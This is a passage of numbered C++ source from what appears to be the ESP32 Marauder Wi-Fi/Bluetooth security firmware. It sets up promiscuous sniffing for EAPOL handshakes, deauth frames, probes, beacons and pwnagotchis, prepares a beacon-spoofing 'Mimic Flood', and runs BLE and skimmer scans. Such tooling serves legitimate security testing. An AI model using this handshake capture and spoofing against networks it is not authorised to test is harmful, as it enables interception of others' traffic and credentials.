  611. display_obj.tft.println(text_table4[23]);
  612. #endif
  613. }
  614. else {
  615. #ifdef HAS_SCREEN
  616. display_obj.tft.println(text_table4[24]);
  617. #endif
  618. }
  619. #ifdef HAS_SCREEN
  620. display_obj.tft.println(text_table4[25] + sta_mac);
  621. display_obj.tft.println(text_table4[26] + ap_mac);
  622. display_obj.tft.println(text_table4[27] + free_ram);
  623. #endif
  624. if (sd_obj.supported) {
  625. #ifdef HAS_SCREEN
  626. display_obj.tft.println(text_table4[28]);
  627. display_obj.tft.print(text_table4[29]);
  628. display_obj.tft.print(sd_obj.card_sz);
  629. display_obj.tft.println("MB");
  630. #endif
  631. }
  632. else {
  633. #ifdef HAS_SCREEN
  634. display_obj.tft.println(text_table4[30]);
  635. display_obj.tft.println(text_table4[31]);
  636. #endif
  637. }
  638. battery_obj.battery_level = battery_obj.getBatteryLevel();
  639. if (battery_obj.i2c_supported) {
  640. #ifdef HAS_SCREEN
  641. display_obj.tft.println(text_table4[32]);
  642. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  643. #endif
  644. }
  645. else {
  646. #ifdef HAS_SCREEN
  647. display_obj.tft.println(text_table4[34]);
  648. #endif
  649. }
  650. #ifdef HAS_SCREEN
  651. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  652. #endif
  653. }
  654. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  655. sd_obj.openCapture("espressif");
  656. #ifdef MARAUDER_FLIPPER
  657. flipper_led.sniffLED();
  658. #endif
  659. #ifdef HAS_SCREEN
  660. display_obj.TOP_FIXED_AREA_2 = 48;
  661. display_obj.tteBar = true;
  662. display_obj.print_delay_1 = 15;
  663. display_obj.print_delay_2 = 10;
  664. display_obj.initScrollValues(true);
  665. display_obj.tft.setTextWrap(false);
  666. display_obj.tft.setTextColor(TFT_WHITE, color);
  667. #ifndef MARAUDER_MINI
  668. display_obj.tft.fillRect(0,16,240,16, color);
  669. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  670. display_obj.touchToExit();
  671. #endif
  672. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  673. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  674. #endif
  675. esp_wifi_init(&cfg);
  676. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  677. esp_wifi_set_mode(WIFI_MODE_NULL);
  678. esp_wifi_start();
  679. esp_wifi_set_promiscuous(true);
  680. esp_wifi_set_promiscuous_filter(&filt);
  681. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  682. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  683. this->wifi_initialized = true;
  684. initTime = millis();
  685. }
  686. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  687. {
  688. #ifdef MARAUDER_FLIPPER
  689. flipper_led.sniffLED();
  690. #endif
  691. #ifdef HAS_SCREEN
  692. display_obj.tft.init();
  693. display_obj.tft.setRotation(1);
  694. display_obj.tft.fillScreen(TFT_BLACK);
  695. #endif
  696. sd_obj.openCapture("packet_monitor");
  697. #ifdef HAS_SCREEN
  698. #ifdef TFT_SHIELD
  699. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  700. Serial.println("Using TFT Shield");
  701. #else if defined(TFT_DIY)
  702. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  703. Serial.println("Using TFT DIY");
  704. #endif
  705. display_obj.tft.setTouch(calData);
  706. //display_obj.tft.setFreeFont(1);
  707. display_obj.tft.setFreeFont(NULL);
  708. display_obj.tft.setTextSize(1);
  709. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  710. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  711. delay(10);
  712. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  713. display_obj.tftDrawColorKey();
  714. display_obj.tftDrawXScaleButtons(x_scale);
  715. display_obj.tftDrawYScaleButtons(y_scale);
  716. display_obj.tftDrawChannelScaleButtons(set_channel);
  717. display_obj.tftDrawExitScaleButtons();
  718. #endif
  719. Serial.println("Running packet scan...");
  720. esp_wifi_init(&cfg);
  721. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  722. esp_wifi_set_mode(WIFI_MODE_NULL);
  723. esp_wifi_start();
  724. esp_wifi_set_promiscuous(true);
  725. esp_wifi_set_promiscuous_filter(&filt);
  726. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  727. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  728. this->wifi_initialized = true;
  729. uint32_t initTime = millis();
  730. }
  731. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  732. {
  733. #ifdef MARAUDER_FLIPPER
  734. flipper_led.sniffLED();
  735. #endif
  736. num_eapol = 0;
  737. #ifdef HAS_SCREEN
  738. display_obj.tft.init();
  739. display_obj.tft.setRotation(1);
  740. display_obj.tft.fillScreen(TFT_BLACK);
  741. #endif
  742. sd_obj.openCapture("eapol");
  743. #ifdef HAS_SCREEN
  744. #ifdef TFT_SHIELD
  745. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  746. //Serial.println("Using TFT Shield");
  747. #else if defined(TFT_DIY)
  748. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  749. //Serial.println("Using TFT DIY");
  750. #endif
  751. display_obj.tft.setTouch(calData);
  752. display_obj.tft.setFreeFont(NULL);
  753. display_obj.tft.setTextSize(1);
  754. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  755. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  756. delay(10);
  757. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  758. display_obj.tftDrawEapolColorKey();
  759. display_obj.tftDrawChannelScaleButtons(set_channel);
  760. display_obj.tftDrawExitScaleButtons();
  761. #endif
  762. wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
  763. esp_wifi_init(&cfg);
  764. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  765. //esp_wifi_set_mode(WIFI_MODE_NULL);
  766. esp_wifi_set_mode(WIFI_AP_STA);
  767. esp_wifi_start();
  768. esp_wifi_set_promiscuous(true);
  769. esp_wifi_set_promiscuous_filter(&filt);
  770. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  771. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  772. else
  773. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  774. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  775. this->wifi_initialized = true;
  776. initTime = millis();
  777. }
  778. // Function to prepare for beacon mimic
  779. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  780. #ifdef HAS_SCREEN
  781. display_obj.TOP_FIXED_AREA_2 = 48;
  782. display_obj.tteBar = true;
  783. display_obj.print_delay_1 = 15;
  784. display_obj.print_delay_2 = 10;
  785. display_obj.initScrollValues(true);
  786. display_obj.tft.setTextWrap(false);
  787. display_obj.tft.setTextColor(TFT_BLACK, color);
  788. #ifndef MARAUDER_MINI
  789. display_obj.tft.fillRect(0,16,240,16, color);
  790. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  791. display_obj.touchToExit();
  792. #endif
  793. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  794. #endif
  795. packets_sent = 0;
  796. esp_wifi_init(&cfg);
  797. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  798. esp_wifi_set_mode(WIFI_AP_STA);
  799. esp_wifi_start();
  800. esp_wifi_set_promiscuous_filter(NULL);
  801. esp_wifi_set_promiscuous(true);
  802. esp_wifi_set_max_tx_power(78);
  803. this->wifi_initialized = true;
  804. initTime = millis();
  805. }
  806. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  807. {
  808. sd_obj.openCapture("pwnagotchi");
  809. #ifdef MARAUDER_FLIPPER
  810. flipper_led.sniffLED();
  811. #endif
  812. #ifdef HAS_SCREEN
  813. display_obj.TOP_FIXED_AREA_2 = 48;
  814. display_obj.tteBar = true;
  815. display_obj.print_delay_1 = 15;
  816. display_obj.print_delay_2 = 10;
  817. display_obj.initScrollValues(true);
  818. display_obj.tft.setTextWrap(false);
  819. display_obj.tft.setTextColor(TFT_WHITE, color);
  820. #ifndef MARAUDER_MINI
  821. display_obj.tft.fillRect(0,16,240,16, color);
  822. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  823. display_obj.touchToExit();
  824. #endif
  825. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  826. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  827. #endif
  828. esp_wifi_init(&cfg);
  829. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  830. esp_wifi_set_mode(WIFI_MODE_NULL);
  831. esp_wifi_start();
  832. esp_wifi_set_promiscuous(true);
  833. esp_wifi_set_promiscuous_filter(&filt);
  834. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  835. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  836. this->wifi_initialized = true;
  837. initTime = millis();
  838. }
  839. // Function to start running a beacon scan
  840. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  841. {
  842. sd_obj.openCapture("beacon");
  843. #ifdef MARAUDER_FLIPPER
  844. flipper_led.sniffLED();
  845. #endif
  846. #ifdef HAS_SCREEN
  847. display_obj.TOP_FIXED_AREA_2 = 48;
  848. display_obj.tteBar = true;
  849. display_obj.print_delay_1 = 15;
  850. display_obj.print_delay_2 = 10;
  851. display_obj.initScrollValues(true);
  852. display_obj.tft.setTextWrap(false);
  853. display_obj.tft.setTextColor(TFT_WHITE, color);
  854. #ifndef MARAUDER_MINI
  855. display_obj.tft.fillRect(0,16,240,16, color);
  856. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  857. display_obj.touchToExit();
  858. #endif
  859. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  860. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  861. #endif
  862. esp_wifi_init(&cfg);
  863. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  864. esp_wifi_set_mode(WIFI_MODE_NULL);
  865. esp_wifi_start();
  866. esp_wifi_set_promiscuous(true);
  867. esp_wifi_set_promiscuous_filter(&filt);
  868. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  869. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  870. this->wifi_initialized = true;
  871. initTime = millis();
  872. }
  873. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  874. {
  875. sd_obj.openCapture("deauth");
  876. #ifdef MARAUDER_FLIPPER
  877. flipper_led.sniffLED();
  878. #endif
  879. #ifdef HAS_SCREEN
  880. display_obj.TOP_FIXED_AREA_2 = 48;
  881. display_obj.tteBar = true;
  882. display_obj.print_delay_1 = 15;
  883. display_obj.print_delay_2 = 10;
  884. display_obj.initScrollValues(true);
  885. display_obj.tft.setTextWrap(false);
  886. display_obj.tft.setTextColor(TFT_BLACK, color);
  887. #ifndef MARAUDER_MINI
  888. display_obj.tft.fillRect(0,16,240,16, color);
  889. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  890. display_obj.touchToExit();
  891. #endif
  892. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  893. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  894. #endif
  895. esp_wifi_init(&cfg);
  896. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  897. esp_wifi_set_mode(WIFI_MODE_NULL);
  898. esp_wifi_start();
  899. esp_wifi_set_promiscuous(true);
  900. esp_wifi_set_promiscuous_filter(&filt);
  901. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  902. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  903. this->wifi_initialized = true;
  904. initTime = millis();
  905. }
  906. // Function for running probe request scan
  907. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  908. {
  909. sd_obj.openCapture("probe");
  910. #ifdef MARAUDER_FLIPPER
  911. flipper_led.sniffLED();
  912. #endif
  913. #ifdef HAS_SCREEN
  914. display_obj.TOP_FIXED_AREA_2 = 48;
  915. display_obj.tteBar = true;
  916. display_obj.print_delay_1 = 15;
  917. display_obj.print_delay_2 = 10;
  918. display_obj.initScrollValues(true);
  919. display_obj.tft.setTextWrap(false);
  920. display_obj.tft.setTextColor(TFT_BLACK, color);
  921. #ifndef MARAUDER_MINI
  922. display_obj.tft.fillRect(0,16,240,16, color);
  923. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  924. display_obj.touchToExit();
  925. #endif
  926. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  927. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  928. #endif
  929. esp_wifi_init(&cfg);
  930. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  931. esp_wifi_set_mode(WIFI_MODE_NULL);
  932. esp_wifi_start();
  933. esp_wifi_set_promiscuous(true);
  934. esp_wifi_set_promiscuous_filter(&filt);
  935. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  936. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  937. this->wifi_initialized = true;
  938. initTime = millis();
  939. }
  940. // Function to start running any BLE scan
  941. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  942. {
  943. #ifdef HAS_BT
  944. #ifdef HAS_SCREEN
  945. display_obj.print_delay_1 = 50;
  946. display_obj.print_delay_2 = 20;
  947. #endif
  948. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  949. NimBLEDevice::setScanDuplicateCacheSize(200);
  950. NimBLEDevice::init("");
  951. pBLEScan = NimBLEDevice::getScan(); //create new scan
  952. if (scan_mode == BT_SCAN_ALL)
  953. {
  954. #ifdef HAS_SCREEN
  955. display_obj.TOP_FIXED_AREA_2 = 48;
  956. display_obj.tteBar = true;
  957. display_obj.initScrollValues(true);
  958. display_obj.tft.setTextWrap(false);
  959. display_obj.tft.setTextColor(TFT_BLACK, color);
  960. #ifndef MARAUDER_MINI
  961. display_obj.tft.fillRect(0,16,240,16, color);
  962. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  963. display_obj.touchToExit();
  964. #endif
  965. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  966. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  967. #endif
  968. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  969. }
  970. else if (scan_mode == BT_SCAN_SKIMMERS)
  971. {
  972. #ifdef HAS_SCREEN
  973. display_obj.TOP_FIXED_AREA_2 = 160;
  974. display_obj.tteBar = true;
  975. display_obj.tft.fillScreen(TFT_DARKGREY);
  976. display_obj.initScrollValues(true);
  977. display_obj.tft.setTextWrap(false);
  978. display_obj.tft.setTextColor(TFT_BLACK, color);
  979. display_obj.tft.fillRect(0,16,240,16, color);
  980. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  981. display_obj.twoPartDisplay(text_table4[43]);
  982. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  983. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  984. #endif
  985. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  986. }
  987. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  988. pBLEScan->setInterval(97);
  989. pBLEScan->setWindow(37); // less or equal setInterval value
  990. pBLEScan->setMaxResults(0);
  991. pBLEScan->start(0, scanCompleteCB, false);
  992. Serial.println("Started BLE Scan");
  993. this->ble_initialized = true;
  994. initTime = millis();
  995. #endif
  996. }
  997. // Function that is called when BLE scan is completed
  998. #ifdef HAS_BT
  999. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1000. printf("Scan complete!\n");
  1001. printf("Found %d devices\n", scanResults.getCount());
  1002. scanResults.dump();
  1003. } // scanCompleteCB
  1004. #endif
  1005. // Function to extract MAC addr from a packet at given offset
  1006. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1007. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1008. }
  1009. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1010. {
  1011. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1012. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1013. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1014. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1015. int len = snifferPacket->rx_ctrl.sig_len;
  1016. String display_string = "";
  1017. String src_addr_string = "";
  1018. if (type == WIFI_PKT_MGMT)
  1019. {
  1020. len -= 4;
  1021. }
  1022. int fctl = ntohs(frameControl->fctl);
  1023. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1024. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1025. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1026. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1027. //{
  1028. char addr[] = "00:00:00:00:00:00";
  1029. getMAC(addr, snifferPacket->payload, 10);
  1030. src_addr_string.concat(addr);
  1031. bool match = false;
  1032. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1033. if (src_addr_string.startsWith(espressif_macs[i])) {
  1034. match = true;
  1035. break;
  1036. }
  1037. }
  1038. if (!match)
  1039. return;
  1040. delay(random(0, 10));
  1041. Serial.print("RSSI: ");
  1042. Serial.print(snifferPacket->rx_ctrl.rssi);
  1043. Serial.print(" Ch: ");
  1044. Serial.print(snifferPacket->rx_ctrl.channel);
  1045. Serial.print(" BSSID: ");
  1046. Serial.print(addr);
  1047. //display_string.concat(" RSSI: ");
  1048. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1049. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1050. //display_string.concat(" ");
  1051. display_string.concat(" -> ");
  1052. display_string.concat(addr);
  1053. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1054. {
  1055. display_string.concat(" ");
  1056. }
  1057. Serial.print(" ");
  1058. #ifdef HAS_SCREEN
  1059. display_obj.loading = true;
  1060. display_obj.display_buffer->add(display_string);
  1061. display_obj.loading = false;
  1062. #endif
  1063. Serial.println();
  1064. if (save_packet)
  1065. sd_obj.addPacket(snifferPacket->payload, len);
  1066. //}
  1067. }
  1068. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1069. {
  1070. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1071. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1072. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1073. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1074. int len = snifferPacket->rx_ctrl.sig_len;
  1075. String display_string = "";
  1076. String src = "";
  1077. String essid = "";
  1078. if (type == WIFI_PKT_MGMT)
  1079. {
  1080. len -= 4;
  1081. int fctl = ntohs(frameControl->fctl);
  1082. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1083. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1084. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1085. #ifdef HAS_SCREEN
  1086. int buf = display_obj.display_buffer->size();
  1087. #else
  1088. int buf = 0;
  1089. #endif
  1090. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1091. {
  1092. char addr[] = "00:00:00:00:00:00";
  1093. getMAC(addr, snifferPacket->payload, 10);
  1094. src.concat(addr);
  1095. if (src == "de:ad:be:ef:de:ad") {
  1096. delay(random(0, 10));
  1097. Serial.print("RSSI: ");
  1098. Serial.print(snifferPacket->rx_ctrl.rssi);
  1099. Serial.print(" Ch: ");
  1100. Serial.print(snifferPacket->rx_ctrl.channel);
  1101. Serial.print(" BSSID: ");
  1102. Serial.print(addr);
  1103. //display_string.concat(addr);
  1104. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1105. Serial.print(" ESSID: ");
  1106. display_string.concat(" -> ");
  1107. // Just grab the first 255 bytes of the pwnagotchi beacon
  1108. // because that is where the name is
  1109. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1110. for (int i = 0; i < len - 37; i++)
  1111. {
  1112. Serial.print((char)snifferPacket->payload[i + 38]);
  1113. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1114. if (isAscii(snifferPacket->payload[i + 38]))
  1115. essid.concat((char)snifferPacket->payload[i + 38]);
  1116. else
  1117. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1118. }
  1119. //essid.concat("\": \"\"}}");
  1120. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1121. // Load json
  1122. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1123. DynamicJsonDocument json(1024); // ArduinoJson v6
  1124. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1125. // ArduinoJson v6
  1126. if (deserializeJson(json, essid)) {
  1127. Serial.println("\nCould not parse Pwnagotchi json");
  1128. display_string.concat(essid);
  1129. }
  1130. else {
  1131. Serial.println("\nSuccessfully parsed json");
  1132. String json_output;
  1133. //json.printTo(json_output); // ArduinoJson v5
  1134. serializeJson(json, json_output); // ArduinoJson v6
  1135. Serial.println(json_output);
  1136. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1137. }
  1138. int temp_len = display_string.length();
  1139. for (int i = 0; i < 40 - temp_len; i++)
  1140. {
  1141. display_string.concat(" ");
  1142. }
  1143. Serial.print(" ");
  1144. #ifdef HAS_SCREEN
  1145. if (display_obj.display_buffer->size() == 0)
  1146. {
  1147. display_obj.loading = true;
  1148. display_obj.display_buffer->add(display_string);
  1149. display_obj.loading = false;
  1150. }
  1151. #endif
  1152. Serial.println();
  1153. if (save_packet)
  1154. sd_obj.addPacket(snifferPacket->payload, len);
  1155. }
  1156. }
  1157. }
  1158. }
  1159. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1160. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1161. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1162. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1163. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1164. int len = snifferPacket->rx_ctrl.sig_len;
  1165. String display_string = "";
  1166. String essid = "";
  1167. String bssid = "";
  1168. if (type == WIFI_PKT_MGMT)
  1169. {
  1170. len -= 4;
  1171. int fctl = ntohs(frameControl->fctl);
  1172. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1173. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1174. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1175. #ifdef HAS_SCREEN
  1176. int buf = display_obj.display_buffer->size();
  1177. #else
  1178. int buf = 0;
  1179. #endif
  1180. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1181. {
  1182. char addr[] = "00:00:00:00:00:00";
  1183. getMAC(addr, snifferPacket->payload, 10);
  1184. bool in_list = false;
  1185. bool mac_match = true;
  1186. for (int i = 0; i < access_points->size(); i++) {
  1187. mac_match = true;
  1188. //Serial.print("Checking ");
  1189. //Serial.print(addr);
  1190. //Serial.println(" against " + (String)access_points->get(i).essid);
  1191. for (int x = 0; x < 6; x++) {
  1192. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1193. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1194. mac_match = false;
  1195. //Serial.println("MACs do not match");
  1196. break;
  1197. }
  1198. }
  1199. if (mac_match) {
  1200. in_list = true;
  1201. break;
  1202. }
  1203. }
  1204. if (!in_list) {
  1205. delay(random(0, 10));
  1206. Serial.print("RSSI: ");
  1207. Serial.print(snifferPacket->rx_ctrl.rssi);
  1208. Serial.print(" Ch: ");
  1209. Serial.print(snifferPacket->rx_ctrl.channel);
  1210. Serial.print(" BSSID: ");
  1211. Serial.print(addr);
  1212. display_string.concat(addr);
  1213. Serial.print(" ESSID: ");
  1214. display_string.concat(" -> ");
  1215. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1216. {
  1217. Serial.print((char)snifferPacket->payload[i + 38]);
  1218. display_string.concat((char)snifferPacket->payload[i + 38]);
  1219. essid.concat((char)snifferPacket->payload[i + 38]);
  1220. }
  1221. bssid.concat(addr);
  1222. int temp_len = display_string.length();
  1223. for (int i = 0; i < 40 - temp_len; i++)
  1224. {
  1225. display_string.concat(" ");
  1226. }
  1227. Serial.print(" ");
  1228. #ifdef HAS_SCREEN
  1229. if (display_obj.display_buffer->size() == 0)
  1230. {
  1231. display_obj.loading = true;
  1232. display_obj.display_buffer->add(display_string);
  1233. display_obj.loading = false;
  1234. }
  1235. #endif
  1236. if (essid == "") {
  1237. essid = bssid;
  1238. Serial.print(essid + " ");
  1239. }
  1240. //LinkedList<char> beacon = new LinkedList<char>();
  1241. /*AccessPoint ap = {essid,
  1242. snifferPacket->rx_ctrl.channel,
  1243. {snifferPacket->payload[10],
  1244. snifferPacket->payload[11],
  1245. snifferPacket->payload[12],
  1246. snifferPacket->payload[13],
  1247. snifferPacket->payload[14],
  1248. snifferPacket->payload[15]},
  1249. false,
  1250. NULL};*/
  1251. AccessPoint ap;
  1252. ap.essid = essid;
  1253. ap.channel = snifferPacket->rx_ctrl.channel;
  1254. ap.bssid[0] = snifferPacket->payload[10];
  1255. ap.bssid[1] = snifferPacket->payload[11];
  1256. ap.bssid[2] = snifferPacket->payload[12];
  1257. ap.bssid[3] = snifferPacket->payload[13];
  1258. ap.bssid[4] = snifferPacket->payload[14];
  1259. ap.bssid[5] = snifferPacket->payload[15];
  1260. ap.selected = false;
  1261. ap.beacon = new LinkedList<char>();
  1262. //for (int i = 0; i < len; i++) {
  1263. // ap.beacon->add(snifferPacket->payload[i]);
  1264. //}
  1265. ap.beacon->add(snifferPacket->payload[34]);
  1266. ap.beacon->add(snifferPacket->payload[35]);
  1267. Serial.print("\nBeacon: ");
  1268. for (int i = 0; i < ap.beacon->size(); i++) {
  1269. char hexCar[4];
  1270. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1271. Serial.print(hexCar);
  1272. if ((i + 1) % 16 == 0)
  1273. Serial.print("\n");
  1274. else
  1275. Serial.print(" ");
  1276. }
  1277. access_points->add(ap);
  1278. Serial.print(access_points->size());
  1279. Serial.println();
  1280. if (save_packet)
  1281. sd_obj.addPacket(snifferPacket->payload, len);
  1282. }
  1283. }
  1284. }
  1285. }
  1286. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1287. {
  1288. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1289. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1290. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1291. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1292. int len = snifferPacket->rx_ctrl.sig_len;
  1293. String display_string = "";
  1294. String essid = "";
  1295. String bssid = "";
  1296. if (type == WIFI_PKT_MGMT)
  1297. {
  1298. len -= 4;
  1299. int fctl = ntohs(frameControl->fctl);
  1300. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1301. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1302. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1303. #ifdef HAS_SCREEN
  1304. int buf = display_obj.display_buffer->size();
  1305. #else
  1306. int buf = 0;
  1307. #endif
  1308. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1309. {
  1310. char addr[] = "00:00:00:00:00:00";
  1311. getMAC(addr, snifferPacket->payload, 10);
  1312. bool in_list = false;
  1313. bool mac_match = true;
  1314. for (int i = 0; i < access_points->size(); i++) {
  1315. mac_match = true;
  1316. //Serial.print("Checking ");
  1317. //Serial.print(addr);
  1318. //Serial.println(" against " + (String)access_points->get(i).essid);
  1319. for (int x = 0; x < 6; x++) {
  1320. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1321. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1322. mac_match = false;
  1323. //Serial.println("MACs do not match");
  1324. break;
  1325. }
